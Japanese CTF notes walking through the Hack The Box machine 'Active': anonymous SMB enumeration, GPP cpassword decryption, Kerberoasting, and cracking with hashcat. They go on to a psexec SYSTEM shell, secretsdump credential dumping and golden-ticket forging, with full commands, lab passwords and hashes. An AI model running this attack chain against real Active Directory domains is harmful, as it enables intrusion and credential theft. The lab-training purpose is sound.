Active¶
Flag-Critical Knowledge¶
トリガー、攻撃パターン¶
attack summary¶
Anonymous SMB
→ Replication share
→ Groups.xml cpassword
→ gpp-decrypt
→ SVC_TGS credentials
→ Kerberoast Administrator
→ crack TGS hash
→ psexec as Administrator
→ root shell / flag
walkthrough¶
10.129.13.116
null session が有効かの確認コマンド
nullセッション確認
smbclient -L //10.129.13.116/ -N
smbmap -H 10.129.13.116 -u "" -p ""
crackmapexec smb 10.129.13.116 -u '' -p ''
enum4linux-ng -A 10.129.13.116
smbclient -N "//10.129.13.116/$s" -c "ls"
crackmapexec smb 10.129.13.116 -u '' -p '' --shares
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
smbclient -N "//10.129.13.116/ADMIN$" -c "ls"
smbclient -N "//10.129.13.116/C$" -c "ls"
smbclient -N "//10.129.13.116/IPC$" -c "ls"
smbclient -N "//10.129.13.116/NETLOGON" -c "ls"
smbclient -N "//10.129.13.116/Replication" -c "ls"
smbclient -N "//10.129.13.116/SYSVOL" -c "ls"
smbclient -N "//10.129.13.116/Users" -c "ls"
┌──(kali㉿kali)-[~/htb/active]
└─$ smbclient -N "//10.129.13.116/Replication" -c "ls"
^[[DAnonymous login successful
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
active.htb D 0 Sat Jul 21 19:37:44 2018
10459647 blocks of size 4096. 5201203 blocks available
┌──(kali㉿kali)-[~/htb/active]
smbclient -N //10.129.13.116/Replication
smb: \> recurse ON
smb: \> ls
smb: \active.htb\> ls
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
DfsrPrivate DHS 0 Sat Jul 21 19:37:44 2018
Policies D 0 Sat Jul 21 19:37:44 2018
scripts D 0 Thu Jul 19 03:48:57 2018
\active.htb\DfsrPrivate
. DHS 0 Sat Jul 21 19:37:44 2018
.. DHS 0 Sat Jul 21 19:37:44 2018
ConflictAndDeleted D 0 Thu Jul 19 03:51:30 2018
Deleted D 0 Thu Jul 19 03:51:30 2018
Installing D 0 Thu Jul 19 03:51:30 2018
\active.htb\Policies
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
{31B2F340-016D-11D2-945F-00C04FB984F9} D 0 Sat Jul 21 19:37:44 2018
{6AC1786C-016F-11D2-945F-00C04fB984F9} D 0 Sat Jul 21 19:37:44 2018
\active.htb\scripts
. D 0 Thu Jul 19 03:48:57 2018
.. D 0 Thu Jul 19 03:48:57 2018
\active.htb\DfsrPrivate\ConflictAndDeleted
. D 0 Thu Jul 19 03:51:30 2018
.. D 0 Thu Jul 19 03:51:30 2018
\active.htb\DfsrPrivate\Deleted
. D 0 Thu Jul 19 03:51:30 2018
.. D 0 Thu Jul 19 03:51:30 2018
\active.htb\DfsrPrivate\Installing
. D 0 Thu Jul 19 03:51:30 2018
.. D 0 Thu Jul 19 03:51:30 2018
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
GPT.INI A 23 Thu Jul 19 05:46:06 2018
Group Policy D 0 Sat Jul 21 19:37:44 2018
MACHINE D 0 Sat Jul 21 19:37:44 2018
USER D 0 Thu Jul 19 03:49:12 2018
\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
GPT.INI A 22 Thu Jul 19 03:49:12 2018
MACHINE D 0 Sat Jul 21 19:37:44 2018
USER D 0 Thu Jul 19 03:49:12 2018
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
GPE.INI A 119 Thu Jul 19 05:46:06 2018
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
Microsoft D 0 Sat Jul 21 19:37:44 2018
Preferences D 0 Sat Jul 21 19:37:44 2018
Registry.pol A 2788 Thu Jul 19 03:53:45 2018
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER
. D 0 Thu Jul 19 03:49:12 2018
.. D 0 Thu Jul 19 03:49:12 2018
\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
Microsoft D 0 Sat Jul 21 19:37:44 2018
\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\USER
. D 0 Thu Jul 19 03:49:12 2018
.. D 0 Thu Jul 19 03:49:12 2018
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
Windows NT D 0 Sat Jul 21 19:37:44 2018
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
Groups D 0 Sat Jul 21 19:37:44 2018
\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
Windows NT D 0 Sat Jul 21 19:37:44 2018
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
SecEdit D 0 Sat Jul 21 19:37:44 2018
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
Groups.xml A 533 Thu Jul 19 05:46:06 2018
\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
SecEdit D 0 Sat Jul 21 19:37:44 2018
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
GptTmpl.inf A 1098 Thu Jul 19 03:49:12 2018
\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
GptTmpl.inf A 3722 Thu Jul 19 03:49:12 2018
10459647 blocks of size 4096. 5201203 blocks available
smb: \active.htb\>
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
GPT.INI A 23 Thu Jul 19 05:46:06 2018
\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
GPT.INI A 22 Thu Jul 19 03:49:12 2018
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy
GPE.INI A 119 Thu Jul 19 05:46:06 2018
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE
Registry.pol A 2788 Thu Jul 19 03:53:45 2018
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups
Groups.xml A 533 Thu Jul 19 05:46:06 2018
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
GptTmpl.inf A 1098 Thu Jul 19 03:49:12 2018
\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
GptTmpl.inf A 3722 Thu Jul 19 03:49:12 2018
smbclient経由で全部ダウンロード
smbclient -N //10.129.13.116/Replication -c "recurse ON; prompt OFF; mget *"
smbget -R -N smb://10.129.13.116/Replication smbget -R -N smb://10.129.13.116/Replication/
└─$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
active.htb\SVC_TGS GPPstillStandingStrong2k18
smbclient -U 'SVC_TGS%GPPstillStandingStrong2k18' -L //10.129.13.116/
evil-winrm -i 10.129.13.116 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.13.116
impacket-GetUserSPNs active.htb/username@10.129.13.116 -hashes LM:NT
└─$ impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.13.116
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-19 04:06:40.351723 2025-12-11 17:42:36.425333
┌──(kali㉿kali)-[~/htb/active]
└─$
Kerberoasting
impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.13.116 -request
└─$ impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.13.116 -request
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-19 04:06:40.351723 2025-12-11 17:42:36.425333
[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$89e886ebc10ffa1820e5abfefea33217$ceae9ea671d5d5b2773e2589f6de61e79627bf2aad1816ededf6df26fc4c22a67833f3d6f9ab78e6b580883b034d3f86dce751873fc5fe290cc27d3792b00c786ebedd55a7c52a2b7305ff8e2f5e96b6439ebcee4afd112fac24aec5a8e89588fc9f2e03a760f7df6bef66718380b93dfceb0c8639bf7303015ee9590045853164a1277ccd91d596379c8842a85361efe6b84180f53d3220068e3a07ec0b85ae0e4e4e297ff47d4649fd07b5067ec7b9af0f6d6bc07f46a5c61de828cea7bb10ce94c2246e16bf27c2f06651f253da429b64185987c485943cb32aa590aa68e298a678ddef3c606d2e84c7ba974ce08d98708b1378459a30d497425c7f7290682a63c2ff7be48c6569130c618281e9e6de3ef4157af975bff81f5164e1644ca43aec003ebfb0d2a612cb6b3dcfa35adfc5c0222e7d0f06b3f0d4789fa85f77955f1725cb15a0b86ac35aa5d867be79a91703242d4e0439e223cc9d471c403c2f14e2b7a360e2736bb8a004f62ec978d8bbc397a3502e8cf0795866c84977626bc0029cc8a484fe30358a384c61a13984ff6afdaf1a048082a85e75c5f0153a87f2dc3aef3b838b7c0f94607a7d35279c64f5fe799376f1382d70be2485d6636b2e822abc1450796cbe3484045de03aa2c31560b679546eaa3f84bd4915e75de1a0e0cd61cabdc5f1427e703d76b9a8a77fa6d005a1468aa0eff3ff93195ff792bbfee2632a7860207cebc22fc5b4206705759a6e61ea72927bf3d9f8c91d2a905f3c938ba1f99630a0df84a32cbe0f44c08c71560d99bf9fc174f173863e5e96c32a736be93ab26b6ce2f8d98289abb91ae537fddf1bcc95e31df1350ed0e9065462e659e8ebe109701373008264e6a9cba752c7801495cf5fed9303f9900a7be82c2f47f79cd01b29621ceacf31034ef09ebfaeccfb07ebd0ddff7477b0dcd81dabc27f859d487d974d1acfd9f24d8250323af3d579417649913c03735e9005ce77e212b82dbb3761e40dd1436759e87fc30f230d9910f8868431d794103cda6960384a3b95e7a19991ef83c4101084dd4c34032d435e0ae634c64ef328691501faa85a22f179a51fc76a548f61b65adc1ed59bb86404334f1475b88dd5ffc609a4a8b7d50600a8474884266f8406e5e99ac699d7a9fae532e22184c8408888710551ccb0c919b49a1751f49b0675dcedcb3d464ec71d2b56f6657c37443e724cdc78f8671ad80e72843ac668936b015dac7fdc764046d244da
┌──(kali㉿kali)-[~/htb/active]
└─$
admin_tgs.hash
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$89e886ebc10ffa1820e5abfefea33217$ceae9ea671d5d5b2773e2589f6de61e79627bf2aad1816ededf6df26fc4c22a67833f3d6f9ab78e6b580883b034d3f86dce751873fc5fe290cc27d3792b00c786ebedd55a7c52a2b7305ff8e2f5e96b6439ebcee4afd112fac24aec5a8e89588fc9f2e03a760f7df6bef66718380b93dfceb0c8639bf7303015ee9590045853164a1277ccd91d596379c8842a85361efe6b84180f53d3220068e3a07ec0b85ae0e4e4e297ff47d4649fd07b5067ec7b9af0f6d6bc07f46a5c61de828cea7bb10ce94c2246e16bf27c2f06651f253da429b64185987c485943cb32aa590aa68e298a678ddef3c606d2e84c7ba974ce08d98708b1378459a30d497425c7f7290682a63c2ff7be48c6569130c618281e9e6de3ef4157af975bff81f5164e1644ca43aec003ebfb0d2a612cb6b3dcfa35adfc5c0222e7d0f06b3f0d4789fa85f77955f1725cb15a0b86ac35aa5d867be79a91703242d4e0439e223cc9d471c403c2f14e2b7a360e2736bb8a004f62ec978d8bbc397a3502e8cf0795866c84977626bc0029cc8a484fe30358a384c61a13984ff6afdaf1a048082a85e75c5f0153a87f2dc3aef3b838b7c0f94607a7d35279c64f5fe799376f1382d70be2485d6636b2e822abc1450796cbe3484045de03aa2c31560b679546eaa3f84bd4915e75de1a0e0cd61cabdc5f1427e703d76b9a8a77fa6d005a1468aa0eff3ff93195ff792bbfee2632a7860207cebc22fc5b4206705759a6e61ea72927bf3d9f8c91d2a905f3c938ba1f99630a0df84a32cbe0f44c08c71560d99bf9fc174f173863e5e96c32a736be93ab26b6ce2f8d98289abb91ae537fddf1bcc95e31df1350ed0e9065462e659e8ebe109701373008264e6a9cba752c7801495cf5fed9303f9900a7be82c2f47f79cd01b29621ceacf31034ef09ebfaeccfb07ebd0ddff7477b0dcd81dabc27f859d487d974d1acfd9f24d8250323af3d579417649913c03735e9005ce77e212b82dbb3761e40dd1436759e87fc30f230d9910f8868431d794103cda6960384a3b95e7a19991ef83c4101084dd4c34032d435e0ae634c64ef328691501faa85a22f179a51fc76a548f61b65adc1ed59bb86404334f1475b88dd5ffc609a4a8b7d50600a8474884266f8406e5e99ac699d7a9fae532e22184c8408888710551ccb0c919b49a1751f49b0675dcedcb3d464ec71d2b56f6657c37443e724cdc78f8671ad80e72843ac668936b015dac7fdc764046d244da
hashcat -h | grep -i tgs
hashcat -h | grep -i krb
公式で調べる https://hashcat.net/wiki/doku.php?id=example_hashes
Hashcat の Kerberoast モードは 13100
hashcat -m 13100 admin_tgs.hash /usr/share/wordlists/rockyou.txt
└─$ hashcat -m 13100 admin_tgs.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu--0x000, 1435/2935 MB (512 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$89e886ebc10ffa1820e5abfefea33217$ceae9ea671d5d5b2773e2589f6de61e79627bf2aad1816ededf6df26fc4c22a67833f3d6f9ab78e6b580883b034d3f86dce751873fc5fe290cc27d3792b00c786ebedd55a7c52a2b7305ff8e2f5e96b6439ebcee4afd112fac24aec5a8e89588fc9f2e03a760f7df6bef66718380b93dfceb0c8639bf7303015ee9590045853164a1277ccd91d596379c8842a85361efe6b84180f53d3220068e3a07ec0b85ae0e4e4e297ff47d4649fd07b5067ec7b9af0f6d6bc07f46a5c61de828cea7bb10ce94c2246e16bf27c2f06651f253da429b64185987c485943cb32aa590aa68e298a678ddef3c606d2e84c7ba974ce08d98708b1378459a30d497425c7f7290682a63c2ff7be48c6569130c618281e9e6de3ef4157af975bff81f5164e1644ca43aec003ebfb0d2a612cb6b3dcfa35adfc5c0222e7d0f06b3f0d4789fa85f77955f1725cb15a0b86ac35aa5d867be79a91703242d4e0439e223cc9d471c403c2f14e2b7a360e2736bb8a004f62ec978d8bbc397a3502e8cf0795866c84977626bc0029cc8a484fe30358a384c61a13984ff6afdaf1a048082a85e75c5f0153a87f2dc3aef3b838b7c0f94607a7d35279c64f5fe799376f1382d70be2485d6636b2e822abc1450796cbe3484045de03aa2c31560b679546eaa3f84bd4915e75de1a0e0cd61cabdc5f1427e703d76b9a8a77fa6d005a1468aa0eff3ff93195ff792bbfee2632a7860207cebc22fc5b4206705759a6e61ea72927bf3d9f8c91d2a905f3c938ba1f99630a0df84a32cbe0f44c08c71560d99bf9fc174f173863e5e96c32a736be93ab26b6ce2f8d98289abb91ae537fddf1bcc95e31df1350ed0e9065462e659e8ebe109701373008264e6a9cba752c7801495cf5fed9303f9900a7be82c2f47f79cd01b29621ceacf31034ef09ebfaeccfb07ebd0ddff7477b0dcd81dabc27f859d487d974d1acfd9f24d8250323af3d579417649913c03735e9005ce77e212b82dbb3761e40dd1436759e87fc30f230d9910f8868431d794103cda6960384a3b95e7a19991ef83c4101084dd4c34032d435e0ae634c64ef328691501faa85a22f179a51fc76a548f61b65adc1ed59bb86404334f1475b88dd5ffc609a4a8b7d50600a8474884266f8406e5e99ac699d7a9fae532e22184c8408888710551ccb0c919b49a1751f49b0675dcedcb3d464ec71d2b56f6657c37443e724cdc78f8671ad80e72843ac668936b015dac7fdc764046d244da:Ticketmaster1968
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Ad...d244da
Time.Started.....: Thu Dec 11 20:42:57 2025 (6 secs)
Time.Estimated...: Thu Dec 11 20:43:03 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1620.2 kH/s (0.26ms) @ Accel:256 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10537472/14344385 (73.46%)
Rejected.........: 0/10537472 (0.00%)
Restore.Point....: 10536960/14344385 (73.46%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Tiffany95 -> Tiana87
Hardware.Mon.#1..: Util: 91%
Started: Thu Dec 11 20:42:50 2025
Stopped: Thu Dec 11 20:43:05 2025
┌──(kali㉿kali)-[~/htb/active]
└─$
Ticketmaster1968
evil-winrm -i 10.129.13.116 -u Administrator -p 'Ticketmaster1968' -S
⇒winrmはポート開いてないからできない
smbclient -U 'Administrator%Ticketmaster1968' -L //10.129.13.116/
impacket-psexec Administrator:'Ticketmaster1968'@10.129.13.116
Administrator のクレデンシャルを使ってターゲットの SAM を取得
impacket-secretsdump Administrator:'Ticketmaster1968'@10.129.13.116
smbclient //10.129.13.116/Users -U 'SVC_TGS%GPPstillStandingStrong2k18'
─$ impacket-psexec Administrator:'Ticketmaster1968'@10.129.13.116
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.129.13.116.....
[*] Found writable share ADMIN$
[*] Uploading file fkdmDXjP.exe
[*] Opening SVCManager on 10.129.13.116.....
[*] Creating service eDhK on 10.129.13.116.....
[*] Starting service eDhK.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32>
administratorのハッシュもとれた
└─$ impacket-secretsdump Administrator:'Ticketmaster1968'@10.129.13.116
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xff954ee81ffb63937b563f523caf1d59
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5c15eb37006fb74c21a5d1e2144b726e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
ACTIVE\DC$:aes256-cts-hmac-sha1-96:1bc6ed57caac536974a356454cc1eb67e9a86001193a473a6479f9c68f0a0298
ACTIVE\DC$:aes128-cts-hmac-sha1-96:f69747e0680d0f2c43c1ee79aecb550e
ACTIVE\DC$:des-cbc-md5:0df12cd9badaabb5
ACTIVE\DC$:plain_password_hex:c8cdae3c417cc0f650df3c4b22dd1f07231841bb3b65e0c6b5352e65ead679167637dba6941c643772204d7c79d7f9acbc3fc335f922e9c33e869a38d4786342d91b5037d467887e13ff7720dc5e2d450c01c32fe95c9dc27c15dc2dac0f86beb52758e39812458ea659d9bff51a26ad26fb7db05582c5007fc0f0aca87ef10a8b894bb100aae3f94dd34a223f057c404dd32f5795cf7f7d84644461c0b1ec46199bed80fcbf40b38c4ee6a1dc7ee230f514c9e17a8f10733f6a08ab7ca171a96b7162b192466edc8fcbcd161d22fafbd8a8aa41f32248109ad9d49e9c01b44c74635a799c8eeba6d2b3d77cc852d393
ACTIVE\DC$:aad3b435b51404eeaad3b435b51404ee:a002a147ecef45601dc12ca8f302eb94:::
[*] DefaultPassword
(Unknown User):ROOT#123
[*] DPAPI_SYSTEM
dpapi_machinekey:0x377bd35be67705f345dabf00d3181e269e0fb1e6
dpapi_userkey:0x7586c391e559565c85cb342d1d24546381f0d5cb
[*] NL$KM
0000 CC 6F B8 46 C3 0C 58 05 2F F2 07 2E DA E6 BF 7D .o.F..X./......}
0010 60 63 F6 89 E7 0E D5 D5 22 EE 54 DA 63 12 5B B5 `c......".T.c.[.
0020 D8 DA 0B B7 82 0E 3D E1 9D 7A 03 15 08 5C B0 AE ......=..z...\..
0030 EF 63 91 B9 6C 87 65 A8 14 62 95 BC 77 69 77 08 .c..l.e..b..wiw.
NL$KM:cc6fb846c30c58052ff2072edae6bf7d6063f689e70ed5d522ee54da63125bb5d8da0bb7820e3de19d7a0315085cb0aeef6391b96c8765a8146295bc77697708
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5ffb4aaaf9b63dc519eca04aec0e8bed:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b889e0d47d6fe22c8f0463a717f460dc:::
active.htb\SVC_TGS:1103:aad3b435b51404eeaad3b435b51404ee:f54f3a1d3c38140684ff4dad029f25b5:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:a002a147ecef45601dc12ca8f302eb94:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:003b207686cfdbee91ff9f5671aa10c5d940137da387173507b7ff00648b40d8
Administrator:aes128-cts-hmac-sha1-96:48347871a9f7c5346c356d76313668fe
Administrator:des-cbc-md5:5891549b31f2c294
krbtgt:aes256-cts-hmac-sha1-96:cd80d318efb2f8752767cd619731b6705cf59df462900fb37310b662c9cf51e9
krbtgt:aes128-cts-hmac-sha1-96:b9a02d7bd319781bc1e0a890f69304c3
krbtgt:des-cbc-md5:9d044f891adf7629
active.htb\SVC_TGS:aes256-cts-hmac-sha1-96:d59943174b17c1a4ced88cc24855ef242ad328201126d296bb66aa9588e19b4a
active.htb\SVC_TGS:aes128-cts-hmac-sha1-96:f03559334c1111d6f792d74a453d6f31
active.htb\SVC_TGS:des-cbc-md5:d6c7eca70862f1d0
DC$:aes256-cts-hmac-sha1-96:1bc6ed57caac536974a356454cc1eb67e9a86001193a473a6479f9c68f0a0298
DC$:aes128-cts-hmac-sha1-96:f69747e0680d0f2c43c1ee79aecb550e
DC$:des-cbc-md5:13d926763ea4abad
[*] Cleaning up...
┌──(kali㉿kali)-[~/htb/active]
└─$
active directoryかどうかの調べ方
impacket-smbclient -no-pass @<IP>
SYSVOL/NETLOGON があるか見る
これもドメインコントローラの調べ方
rpcclient -U "" -N 10.129.13.116 -c "srvinfo"
3389と88のポートが空いてたらDC
ゴールデンチケットを作成するには ① krbtgt アカウントの NTLM ハッシュ（NT hash） ② ドメイン名（例：HTB.LOCAL） ③ ドメイン SID ④ 任意のユーザー名（例：“Administrator” でも “TestUser” でもOK）
ドメインSIDの調べ方 kali
impacket-secretsdump <DOMAIN>/<USER>:<PASS>@<DC-IP>
kali2
rpcclient -U "<USER>%<PASS>" <DC-IP> -c querydominfo
CMD（Windows）
whoami /user
PowerShell（Windows）
(Get-ADDomain).DomainSID
ゴールデンチケット作成
impacket-ticketer -nthash 89a1c9fd8fd123abc1234567deadbeef \
-domain-sid S-1-5-21-111111111-222222222-333333333 \
-domain HTB.LOCAL \
Administrator
──(kali㉿kali)-[~/htb/active]
└─$ impacket-ticketer -nthash 89a1c9fd8fd123abc1234567deadbeef \
-domain-sid S-1-5-21-111111111-222222222-333333333 \
-domain HTB.LOCAL \
Administrator
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for HTB.LOCAL/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccache
┌──(kali㉿kali)-[~/htb/active]
└─$
ドメインユーザ一覧
net user /domain
impacket-rpcdump 10.129.13.116
impacket-GetADUsers -all HTB.LOCAL/Administrator@10.129.13.116 -k -no-pass
ユーザの詳細情報（所属グループ含む）
net user <username> /domain
impacket-samrdump HTB.LOCAL/Administrator@10.129.13.116 -k -no-pass
ドメイングループ一覧
net group /domain
impacket-lookupsid HTB.LOCAL/Administrator@10.129.13.116 -k -no-pass
グループメンバー一覧（特定グループの中身）
net group "<GroupName>" /domain
walkthrough(AI)¶
このAI版 walkthrough は、生メモを再現しやすい順番に整理したもの。Active は Anonymous SMB から Groups.xml の GPP cpassword を拾い、得たサービスアカウントで Kerberoast して Administrator に到達する流れ。
1. SMB匿名列挙¶
まず SMB を匿名で確認する。Replication 共有が読めることが突破口になる。
smbclient -L //10.129.13.116/ -N
Replication を丸ごと取得する。
smbclient -N //10.129.13.116/Replication -c "recurse ON; prompt OFF; mget *"
2. Groups.xml から GPP cpassword を探す¶
取得したファイル群の中から Groups.xml を探し、cpassword を確認する。GPP の cpassword は既知鍵で復号できる。
find . -iname Groups.xml -o -iname "*.xml"
3. cpassword を復号して SVC_TGS の資格情報を得る¶
Groups.xml に入っていた cpassword を gpp-decrypt で復号する。
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
得られる資格情報。
SVC_TGS / GPPstillStandingStrong2k18
4. SVC_TGS で認証確認¶
復号した資格情報が有効か SMB で確認する。
smbclient -U 'SVC_TGS%GPPstillStandingStrong2k18' -L //10.129.13.116/
5. Kerberoast で Administrator の TGS hash を取得¶
SVC_TGS の資格情報で Kerberoast を実行する。Administrator に SPN があるため、TGS hash を取得できる。
impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.13.116 -request -outputfile admin_tgs.hash
6. hash を crack して Administrator のパスワードを得る¶
取得した Kerberoast hash を hashcat で crack する。
hashcat -m 13100 admin_tgs.hash /usr/share/wordlists/rockyou.txt
得られる Administrator のパスワード。
Administrator / Ticketmaster1968
7. Administrator としてシェル取得¶
